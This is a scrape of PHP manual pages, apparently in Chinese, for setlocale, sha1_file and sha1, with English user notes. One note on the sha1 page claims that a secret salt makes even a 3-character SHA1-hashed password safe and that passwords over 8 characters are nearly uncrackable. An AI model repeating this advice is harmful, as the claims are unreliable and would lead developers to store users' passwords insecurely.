That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com 19-Aug-2003 06:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW 05-Jun-2003 06:32
<?php
$text = "This string contains some unwanted characters on the end.";
$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
?>


设置区域信息

  • ? rtrim
  • sha1_file ?
  • PHP Manual
  • 字符串 函数
  • 设置区域信息

setlocale

(PHP 4, PHP 5, PHP 7, PHP 8)

setlocale — 设置区域信息

说明

setlocale(int $category, string $locales, string ...$rest): string|false

替代签名（不支持命名参数）：

setlocale(int $category, array $locale_array): string|false

设置区域信息。

Warning

区域信息是按进程维护的，而不是线程。如果在多线程服务器 API 上运行 PHP，区域设置可能在脚本运行时突然变化，尽管脚本本身并没有调用 setlocale()。这是因为其它脚本在同一时刻的同一进程的不同线程中运行，使用 setlocale() 改变了进程级别的区域。在 Windows 上，自 PHP 7.0.5 起，每个线程都维护自己的区域信息。

参数

category

category 命名常量指定的受区域设置的功能类别:

  • LC_ALL 所有的设置
  • LC_COLLATE 字符串比较, 详见 strcoll()
  • LC_CTYPE 字符串的分类与转换, 参见例子 ctype_alpha()
  • LC_MONETARY 等同 localeconv()
  • LC_NUMERIC 对于小数点的分隔（另请参见 localeconv()）
  • LC_TIME 时间与格式 strftime()
  • LC_MESSAGES 系统响应（如果 PHP 使用 libintl 编译）

locales

如果 locales 是空字符串 ""，则区域名将从跟上述类别同名的环境变量的值或"LANG"中设置。

如果 locales 是 "0"，则区域设置不受影响，仅返回当前设置。

如果 locales 后跟附加参数，则每个参数都会尝试设置为新的区域，直至成功。对于以下情况非常有用：不同的系统已知的区域名称不同；为可能无效的区域提供后备。

rest

可选的字符串参数，尝试作为区域设置，直至成功。

locale_array

尝试将数组中的每个元素设置为新的区域，直至成功。对于以下情况非常有用：不同的系统已知的区域名称不同；为可能无效的区域提供后备。

Note:

在 Windows 中，setlocale(LC_ALL, '') 从系统中的区域/语言设置（通过控制面板访问）中设置区域设置信息。

返回值

返回新的当前区域，如果区域功能没有在当前平台实现、指定区域不存在或类别名无效时返回 false。

无效的类别名也会导致警告消息。类别/区域名可以在 » RFC 1766 和 » ISO 639 中找到。不同的系统有不同的区域命名方案。

Note:

setlocale() 的返回值依赖运行 PHP 的系统。它准确返回系统 setlocale 函数返回的内容。

示例

Example #1 setlocale() 示例

<?php
/* 设置区域为荷兰 */
setlocale(LC_ALL, 'nl_NL');

/* 输出：vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* 尝试为德语设置不同的可能区域 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Example #2 Windows 的 setlocale() 示例

<?php
/* 设置区域为荷兰 */
setlocale(LC_ALL, 'nld_nld');

/* 输出：vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* 尝试为德语设置不同的可能区域 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Preferred locale for german on this system is '$loc_de'";
?>

注释

Tip

Windows 用户可以在 Microsoft 的 MSDN 网站上找到有关 locales 字符串的有用信息。支持的语言字符串可在» 语言字符串文档中找到，支持的国家/区域字符串可在» 国家/区域文档中找到。

User Contributed Notes

info AT hipot-studio DOT com 06-Dec-2023 05:57
In PHP 8.2 and later, PHP's internal case conversion functions are made locale-independent, which affects the following functions:

    strtolower
    strtoupper
    lcfirst
    ucfirst
    ucwords
    stristr
    stripos
    strripos
    str_ireplace

All of the functions above only perform case conversion and comparisons in the ASCII character range.
divinity76 at gmail dot com 17-Jun-2022 01:36
if someone is looking for a getlocale(),

<?php
if(!function_exists("getlocale")){
    function getlocale(int $category)/*:string|false*/{
        return setlocale($category, 0);
    }
}
?>
lingureanumanuel at yahoo dot com 05-Feb-2022 10:12
for windows

setlocale(LC_ALL, 'Greenlandic_Greenland.1252');
will return false

to make it work use
setlocale(LC_ALL, 'Kalaallisut_Greenland.1252');
epistomai at gmail dot com 10-Sep-2019 07:39
setlocale(LC_MONETARY, 'en_US') doesn't work anymore (at least in PHP Version 7.3.8).

I've used 'en_US.UTF-8' instead
tim dot peters at live dot com 01-May-2019 09:18
Maybe obvious, but I would expect that setlocale constantes (LC_*) would be bitwise, but they're not.

In example, doing this:

<?php
    setlocale(LC_TIME + LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?>
would cause the following result:

LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=nl;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

Note that LC_MESSAGES has changed, instead of LC_TIME and LC_COLLATE. (Because LC_TIME + LC_COLLATE = LC_MESSAGES).

Instead you would need to specify them individually, if you don't wish to use LC_ALL:

<?php
    setlocale(LC_TIME, 'nl');
    setlocale(LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?> LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=nl;LC_COLLATE=nl;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C
stepdate at gmail dot com 27-Jan-2018 05:03
If you have Locales installed and things won't work check the spelling: for German all the comments suggested "setlocale(LC_TIME, "de_DE.utf8")", but it has to be "setlocale(LC_TIME, "de_DE.UTF-8")"-> UTF-8 instead of utf8.
internationalist 25-Oct-2015 02:14
My script runs a loop that changes the locale (multilingual application). I've noticed that on some random occasion the locale still hasn't changed despite the setlocale() function being executed a step earlier. I had to add wait time for this condition. Interestingly enough, this was the case only with the 'nl_NL.UTF8' locale.

<?php
//some code
$this->counter = 0;
// some code
$this->locale = 'nl_NL.UTF8';
setlocale(LC_ALL, $this->locale);
    $this->counter++;
    if ($this->locale !== setlocale(LC_CTYPE, 0)) { // Locale not changed yet.
      if ($this->counter > 10) {
        return;
      }
      sleep(1);
    }
// some code
?>
Shashakhmetov Talgat 29-Sep-2015 04:41
//Fix encoding for russian locale on windows
$locale = setlocale(LC_ALL, 'ru_RU.CP1251', 'rus_RUS.CP1251', 'Russian_Russia.1251');

function strftime_fix($format, $locale, $timestamp = time()){
    // Fix %e for windows
    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
    }
    // convert
    $date_str = strftime($format, $timestamp);
    if (stripos($locale, "1251") !== false) {
      return iconv("windows-1251","utf-8", $date_str);
    } elseif (stripos($locale, "1252") !== false) {
      return iconv("windows-1252","utf-8", $date_str);
    } else {
      return $date_str;
    }
}
jose dot nobile at gmail dot com 25-Jun-2015 01:05
For Windows users complaining about setlocale.

The locale argument to the setlocale function takes the following form:
setlocale( LC_ALL, "<language>_<country>.<code_page>" );

in short, if you  want use for example: es_CO.UTF-8 it must be in Windows: Spanish_Colombia.1252

The code page 1252 is ISO-8859-1 (windows-1252    ANSI Latin 1; Western European (Windows)

Windows use different languages code from Unix, for example, es_CO becomes es-CO or Spanish_Colombia, also it doesn't support UTF-8 charset as is shown in their website: https://msdn.microsoft.com/en-us/library/x99tb11d(v=vs.140).aspx

"The set of available locale names, languages, country/region codes, and code pages includes all those supported by the Windows NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page value of UTF-7 or UTF-8, setlocale will fail, returning NULL."

Please check the updated website of language and code pages:

https://msdn.microsoft.com/en-us/library/39cwe7zf(v=vs.140).aspx
and
https://msdn.microsoft.com/en-us//goglobal/bb895996

Here a copy paste in case the link is removed:

Afrikaans
Albanian
Arabic_Saudi_Arabia
Arabic_Iraq
Arabic_Egypt
Arabic_Libya
Arabic_Algeria
Arabic_Morocco
Arabic_Tunisia
Arabic_Oman
Arabic_Yemen
Arabic_Syria
Arabic_Jordan
Arabic_Lebanon
Arabic_Kuwait
Arabic_UAE
Arabic_Bahrain
Arabic_Qatar
Armenian
Azeri_Latin
Azeri_Cyrillic
Basque
Belarusian
Bengali_India
Bosnian_Latin
Bulgarian
Catalan
Chinese_Taiwan
Chinese_PRC
Chinese_Hong_Kong
Chinese_Singapore
Chinese_Macau
Croatian
Croatian_Bosnia_Herzegovina
Czech
Danish
Divehi
Dutch_Standard
Dutch_Belgian
English_United_States
English_United_Kingdom
English_Australian
English_Canadian
English_New_Zealand
English_Ireland
English_South_Africa
English_Jamaica
English_Caribbean
English_Belize
English_Trinidad
English_Zimbabwe
English_Philippines
Estonian
Faeroese
Farsi
Finnish
French_Standard
French_Belgian
French_Canadian
French_Swiss
French_Luxembourg
French_Monaco
Georgian
Galician
German_Standard
German_Swiss
German_Austrian
German_Luxembourg
German_Liechtenstein
Greek
Gujarati
Hebrew
Hindi
Hungarian
Icelandic
Indonesian
Italian_Standard
Italian_Swiss
Japanese
Kannada
Kazakh
Konkani
Korean
Kyrgyz
Latvian
Lithuanian
Macedonian
Malay_Malaysia
Malay_Brunei_Darussalam
Malayalam
Maltese
Maori
Marathi
Mongolian
Norwegian_Bokmal
Norwegian_Nynorsk
Polish
Portuguese_Brazilian
Portuguese_Standard
Punjabi
Quechua_Bolivia
Quechua_Ecuador
Quechua_Peru
Romanian
Russian
Sami_Inari
Sami_Lule_Norway
Sami_Lule_Sweden
Sami_Northern_Finland
Sami_Northern_Norway
Sami_Northern_Sweden
Sami_Skolt
Sami_Southern_Norway
Sami_Southern_Sweden
Sanskrit
Serbian_Latin
Serbian_Latin_Bosnia_Herzegovina
Serbian_Cyrillic
Serbian_Cyrillic_Bosnia_Herzegovina
Slovak
Slovenian
Spanish_Traditional_Sort
Spanish_Mexican
Spanish_Modern_Sort
Spanish_Guatemala
Spanish_Costa_Rica
Spanish_Panama
Spanish_Dominican_Republic
Spanish_Venezuela
Spanish_Colombia
Spanish_Peru
Spanish_Argentina
Spanish_Ecuador
Spanish_Chile
Spanish_Uruguay
Spanish_Paraguay
Spanish_Bolivia
Spanish_El_Salvador
Spanish_Honduras
Spanish_Nicaragua
Spanish_Puerto_Rico
Swahili
Swedish
Swedish_Finland
Syriac
Tamil
Tatar
Telugu
Thai
Tswana
Ukrainian
Turkish
Ukrainian
Urdu
Uzbek_Latin
Uzbek_Cyrillic
Vietnamese
Welsh
Xhosa
Zulu

The code pages identifiers:

https://msdn.microsoft.com/en-us/library/windows/desktop/dd317756(v=vs.85).aspx
aaaaa976 at gmail dot com 02-Mar-2015 08:36
In Windows some times setlocale don't work, it return a empty array, buts the locale is set. I found that apache start before windows "load" locales, you must restart apache to solve this.
RobQuist 28-Nov-2013 02:51
In addition to russ, about getting / backing up the locale:
I'm using this in unit-tests. I wanted to test something based on locale, and reset the locale after the tests were done.

Yet there were some errors;
* setlocale doesn't like strings anymore. You need to use constants.
* Some contants don't exist anymore.

Here's an updated piece of code:

<?php
$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, 'nl_NL.UTF-8');

//Do something here

//Recover to the default setting
        $skipConstants = array( //these will be returned by setlocale(LC_ALL, 0), but don't exist anymore.
            'LC_PAPER',
            'LC_NAME',
            'LC_ADDRESS',
            'LC_TELEPHONE',
            'LC_MEASUREMENT',
            'LC_IDENTIFICATION'
        );

        foreach ($originalLocales as $localeSetting) {
            if (strpos($localeSetting, "=") !== false) {
                list ($category, $locale) = explode("=", $localeSetting);
            } else {
                $category = LC_ALL;
                $locale   = $localeSetting;
            }

            if (!in_array($category, $skipConstants)) {
                setlocale(constant($category), $locale); //Using strings is deprecated.
            }
        }
?>
data dot ocean dot italia at gmail dot com 20-Jan-2013 07:42
Instead, using php with IIS, I had to use this line for Italian language...

<?php setlocale(LC_ALL, 'Italian_Italy.1250'); ?>
russ at eatmymonkeydust dot com 08-Dec-2011 03:45
If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale().

Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned:

<?php
echo setlocale(LC_ALL, 0);

// LC_CTYPE=en_US.UTF-8;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;LC_NAME=C;
// LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

echo setlocale(LC_CTYPE, 0);

// en_US.UTF-8

setlocale(LC_ALL, "en_US.UTF-8");
echo setlocale(LC_ALL, 0);

// en_US.UTF-8

?>

If you are looking to store and reset the locales you could do something like this:

<?php

$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, "nb_NO.utf8");

// Do something

foreach ($originalLocales as $localeSetting) {
  if (strpos($localeSetting, "=") !== false) {
    list ($category, $locale) = explode("=", $localeSetting);
  }
  else {
    $category = LC_ALL;
    $locale   = $localeSetting;
  }
  setlocale($category, $locale);
}

?>

The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result.
phcorp 26-Jul-2011 06:16
To find the locale of a Unix system:
<?php system('locale -a') ?>
flavioacvalverde at gmail dot com 15-Jun-2011 09:28
For Portugal I had to use

<?php setlocale(LC_ALL, 'Portuguese_Portugal.1252'); ?>

using php with IIS on Windows server.
tomas dot hampl at gmail dot com 23-Apr-2011 01:35
On Linux, setlocale() depends on the installed locales. To see which locales are available to PHP, run this from the terminal:

"locale -a"

Provided list are all locales that are available on your server for PHP to use. To add a new one, run

locale-gen <locale name> (this may need sudo / root permissions), for example to add a Czech locale, run something like this:

"sudo locale-gen cs_CZ.utf8"

Then you can use this locale declaration:

setlocale(LC_ALL, 'cs_CZ.utf8');
leif at neland dot dk 16-Aug-2010 04:38
Regarding dash'es in locale, it appears they should be omitted entirely.

In /etc/locale.gen I have

da_DK.ISO-8859-15 ISO-8859-15

but locale -a gives

da_DK.iso885915

which is the format setlocale()  wants.

(Debian)
garygendron at yahoo dot com 28-Jun-2010 08:04
For a php Mysql query, you could also use, for french canadian, in this example :

$query = 'SET lc_time_names = "fr_CA"';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT @@lc_time_names';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT id, created, YEAR(created) as year, MONTH(created) as month,' .
' CONCAT_WS(" ", MONTHNAME(created), YEAR(created)) as archive' .
' FROM #__TABLE as e' .
' GROUP BY archive' .
' ORDER BY id DESC';

Your data will be displayed in any locale setting you want. You may even $_GET[lc_time_name] from your multilanguage website.
Kari Sderholm aka Haprog 16-May-2009 04:28
It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5.

At first the output for "locale -a" was this:
C
en_US.utf8
POSIX

I had to install a finnish language pack with
"sudo apt-get install language-pack-fi-base"

Now the output for "locale -a" is:
C
en_US.utf8
fi_FI.utf8
POSIX

The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache.

For setting Finnish timezone and locale in PHP use:
<?php
date_default_timezone_set('Europe/Helsinki');
setlocale(LC_ALL, array('fi_FI.UTF-8','fi_FI@euro','fi_FI','finnish'));
?>
brice/axice/be 20-Feb-2009 05:19
Pay attention to the syntax.
- UTF8 without dash ('-')
- locale.codeset and not locale-codeset.

Stupid newbie error but worth knowing them when starting with gettext.

<?php
$codeset = "UTF8";  // warning ! not UTF-8 with dash '-'

// for windows compatibility (e.g. xampp) : theses 3 lines are useless for linux systems

putenv('LANG='.$lang.'.'.$codeset);
putenv('LANGUAGE='.$lang.'.'.$codeset);
bind_textdomain_codeset('mydomain', $codeset);

// set locale
bindtextdomain('mydomain', ABSPATH.'/locale/');
setlocale(LC_ALL, $lang.'.'.$codeset);
textdomain('mydomain');
?>

where directory structure of locale is (for example) :
locale/fr_FR/LC_MESSAGES/mydomain.mo
locale/en_US/LC_MESSAGES/mydomain.mo

and ABSPATH is the absolute path to the locale dir

further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'.
Un_passant 16-Nov-2008 03:56
For debian/ubuntu, don't forget the charset UFT8.

// Works on Ubuntu 8.04 Server
setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8');
Leigh Morresi 01-Oct-2008 11:27
Setting locale that is not supported by your system will result in some string operations returning a question mark "?" in your strings where it needs to perform transliteration.

1) Always check the return of setlocale() to ensure it has set to something supported

2) on Linux you can use the "locale -a" command to find a list of supported locales
michal dot kocarek at brainbox dot cz 27-Jul-2008 08:33
Note about using UTF-8 locale charset on Windows systems:

According to MSDN, Windows setlocale()'s implementation does not support UTF-8 encoding.

Citation from "MSDN setlocale, _wsetlocale" page (http://msdn.microsoft.com/en-us/library/x99tb11d.aspx):
The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL.

So basically, code like
<?php setlocale(LC_ALL, 'Czech_Czech Republic.65001'); // 65001 is UTF-8 codepage ?>
does not work on Windows at all.

(written in time of PHP 5.2.4)
bryn AT lunarvis DOT com 21-Jan-2008 05:04
Posting this in the hope it might be useful to others, as I could find very little info anywhere. If you want to use a Welsh locale and have the suitable language support installed, you pass 'cym' (abbreviated form of Cymraeg) to setlocale:

<?php
setlocale(LC_TIME, 'cym');
$welsh= gmstrftime("%A, %B %Y - %H:%M",time());
echo $welsh;
?>

The above certainly applies to Windows systems, but should also apply to Unix if the required support is installed.

Cheers,

Bryn.
ostapk 27-Dec-2007 02:39
There is a new PECL extension under development called intl (it will be available in PHP5.3). Meanwhile all who rely on the setlocale() and friends should be aware about the limitations of them as covered in this post on the onPHP5.com blog: http://www.onphp5.com/article/22
Periklis 13-Sep-2007 02:33
In *some* Windows systems, setting LC_TIME only will not work, you must either set LC_ALL or both LC_CTYPE and LC_TIME. BUT if you have already set LC_TIME using setlocale earlier in the script, dates will not be affected! For example:
<?php
setlocale(LC_TIME, 'greek');
setlocale(LC_CTYPE, 'greek');
?>
will not work, while
<?php
setlocale(LC_CTYPE, 'greek');
setlocale(LC_TIME, 'greek');
?>
will do the job.
mvanbaak 09-May-2007 05:03
To complement Sven K's tip about debian:

You can also install the package locales-all
That one holds all the locales there are in compiled form.
szepeshazi at gmail dot com 18-Feb-2007 07:11
For those of you who are unfortunate enough (like me) to work in Windows environment, and try to set the locale to a language _and_ to UTF-8 charset, and were unable to do it, here is a workaround.

For example to output the date in hungarian with UTF-8 charset, this will work:

    $dateString = "%B %d., %A";
    setlocale(LC_ALL,'hungarian');
    $res=strftime($dateString);
    echo(iconv('ISO-8859-1', 'UTF-8', $res));

If anybody knows how to set the locale on Windows to the equivalent of "hu_HU.UTF-8" on unix, please do tell me.
Sven K 07-Jun-2006 03:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
08-Mar-2006 12:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "M?rz" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "M√§rz", which, on utf-8, looks like it should: "M?rz".
birkholz at web dot de 14-Aug-2005 08:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
pigmeu at pigmeu dot net 18-Oct-2004 01:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
mk at totu dot com 26-Jan-2004 04:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl 08-Sep-2002 07:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob


计算文件的 sha1 散列值

  • ? setlocale
  • sha1 ?
  • PHP Manual
  • 字符串 函数
  • 计算文件的 sha1 散列值

sha1_file

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

sha1_file — 计算文件的 sha1 散列值

说明

sha1_file(string $filename, bool $binary = false): string|false

使用 » 美国安全散列算法 1 计算 filename 指定的文件的 sha1 散列值，并返回该散列值。 该散列值为 40 字符长度的十六进制数。

参数

filename

要散列的文件的文件名。

binary

为 true 时，返回 20 字符长度的原始二进制格式摘要。

返回值

成功返回字符串，否则返回 false。

示例

Example #1 sha1_file() 示例

<?php
foreach(glob('/home/Kalle/myproject/*.php') as $ent)
{
if(is_dir($ent))
{
continue;
}

echo $ent . ' (SHA1: ' . sha1_file($ent) . ')', PHP_EOL;
}
?>

参见

  • sha1() - 计算字符串的 sha1 散列值
  • md5_file() - 计算指定文件的 MD5 散列值
  • crc32() - 计算一个字符串的 crc32 多项式

User Contributed Notes

xijque at gmail dot com 05-Jul-2011 07:13
Just for the record -

As some have pointed out, you have two ways to generate the hash of a file:
Method 1 [this function]: sha1_file($file)
Method 2: sha1(file_get_contents($file))

It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist.

The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash.

If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all.

Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds).
vista_ at live dot se 23-Nov-2008 04:05
<?php
     if(!function_exists('sha1_file'))
     {
          function sha1_file($file = null)
          {
               if(is_null($file) || !file_exists($file))
               {
                    return trigger_error('File is null or does not exists');
               }

               return sha1(file_get_contents($file));
          }
     }
?>

Remember, it's important to write a corret url like this:
/home/snackzon/public_html/php/sha1.php
schiros at invisihosting dot com 06-Sep-2007 07:02
If you've got a script that allows user file upload, and you want to prevent multiple uploads of the same file:

    <?
        session_start();
        $isDuplicate = false;
        if(isset($_FILES["filename"]["tmp_name"]) && file_exists($_FILES["filename"]["tmp_name"])) {
            $fileHash = sha1_file($_FILES["filename"]["tmp_name"]);
            if(!isset($_SESSION["check_filelist"])) {
                $_SESSION["check_filelist"] = array($fileHash);
            }
            elseif(in_array($fileHash,$_SESSION["check_filelist"])) {
                $isDuplicate = true;
            }
            else {
                $_SESSION["check_filelist"][] = $fileHash;
            }

            if($isDuplicate) {
                echo "You've already uploaded that file";
            }
            else{
                // do some stuff
            }
        }

    ?>
admin at cmsrevolution dot com 04-Aug-2006 08:02
checking the sha1 of the file. ideal for download scripts making sure the file the user is downloading is not currupt
by checking the sha1 key

<?php
$filename = './Path/To/Your/File.zip';

if (file_exists($filename)) {
echo"i see the file";
} else {
echo "recheck the link file maybe broken";
}
$file = sha1_file('./Path/To/Your/File.zip');

echo"<br>is file hash valid?";
echo"hash = add the hash here<br>";
echo"hash of file :";
print($file);
?>
gubatron at gmail dot com 10-Feb-2006 07:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                    Angel Leon (ported to PHP5)
                    Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
    $raw = sha1_file($file,true);
    return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
    $output = '';
    $position = 0;
    $storedData = 0;
    $storedBitCount = 0;
    $index = 0;

    while ($index < strlen($input)) {
      $storedData <<= 8;
      $storedData += ord($input[$index]);
      $storedBitCount += 8;
      $index += 1;

      //take as much data as possible out of storedData
      while ($storedBitCount >= 5) {
        $storedBitCount -= 5;
        $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
        $storedData &= ((1 << $storedBitCount) - 1);
      }
    } //while

    //deal with leftover data
    if ($storedBitCount > 0) {
      $storedData <<= (5-$storedBitCount);
      $output .= SHA1::$BASE32_ALPHABET[$storedData];
    }

    return $output;
  } //base32encode

}


计算字符串的 sha1 散列值

  • ? sha1_file
  • similar_text ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串的 sha1 散列值

sha1

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

sha1 — 计算字符串的 sha1 散列值

Warning

由于此函数依赖的算法已不足够复杂,不推荐使用此函数对明文密码加密。详细内容参见 这里。

说明

sha1(string $string, bool $binary = false): string

使用 » 美国安全散列算法 1 计算字符串的 sha1 散列值。

参数

string

输入字符串。

binary

如果可选的 binary 参数被设置为 true， 那么 sha1 摘要将以 20 字符长度的原始二进制格式返回， 否则返回值为 40 字符长度的十六进制数。

返回值

以字符串形式返回 sha1 散列值。

示例

Example #1 sha1() 示例

<?php
$str = 'apple';

if (sha1($str) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') {
echo "Would you like a green or red apple?";
}
?>

参见

  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式
  • md5() - 计算字符串的 MD5 散列值
  • hash() - 生成散列值（消息摘要）
  • crypt() - 单向字符串散列
  • password_hash() - 创建密码的散列（hash）

User Contributed Notes

cneeds athome dot co dot bw 02-Dec-2017 03:20
The most secure way of sending passwords I have found so far

is to first ask for and receive a one-time code from the server

and mask (hash) the password being sent back to the server with the one-time code.
hkmaly 27-Nov-2017 10:16
Note: Before you get some idea like using sha1 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts, like already shown in comment from  mark at dot BANSPAM dot pronexus dot nl.
jcastromail at yahoo dot es 02-Feb-2016 08:15
Hi there:

About the complexity of sha1, sha1 generates a code a different code each 1,4615016373309029182036848327163e+48 (2 ^ 160 bits).  So the chances of the use of the same hash is really small.

The "problem" of sha1 (and md5) is the speed of the generation. However, the speed is proportional with the length of the text to encrypt.

However, using a SALT, it increases tenfold times the security, even for a weak password.

In gross terms, a password of 6 characters can be hacked in a minute (if its store in md5 or sha).   However, a password of 7 characters takes an hour, a password of 8 a year and a password of more than 8 character is virtually inviable of hack.

However, if we used an SALT (a secret salt btw), then even a password of 3 characters will be really safe.

